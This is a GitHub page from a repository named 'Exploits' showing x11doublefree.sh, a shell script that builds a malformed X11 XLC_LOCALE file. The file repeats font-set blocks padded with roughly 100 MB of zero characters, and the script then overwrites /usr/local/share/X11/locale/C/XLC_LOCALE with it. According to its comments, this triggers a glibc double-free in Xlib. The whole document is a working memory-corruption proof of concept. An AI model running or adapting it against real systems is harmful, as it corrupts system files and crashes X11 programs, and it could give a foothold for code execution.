master

Exploits / x11doublefree.sh

Ruia-ruia Update x11doublefree.sh History

1 contributor

44 lines (34 sloc) | 696 Bytes

```
#if testing on GLibc 2.31, the error message should be:

#free(): double free detected in tcache 2
#Aborted (core dumped)

touch final.txt

for ((c=0; c <= 20; c++))
do
touch test0.txt
{
echo "XLC_FONTSET"
echo "fs$c     {"
echo "charset {"
printf "name "
} >> test0.txt

dd if=/dev/zero bs=107374182 count=1 | tr '\0' '0' > test1.txt
cat test1.txt >> test0.txt

touch test2.txt
{
echo " "
echo  "}"
echo  "font    {"
printf    "primary "
} >> test0.txt
cat test1.txt >> test0.txt

{
echo " "
echo "vertical_rotate all"
echo "}"
echo "}"

} >> test0.txt

echo "END XLC_FONTSET" >> test0.txt
cat test0.txt >> final.txt
rm test*.txt
done

mv final.txt /usr/local/share/X11/locale/C/XLC_LOCALE

```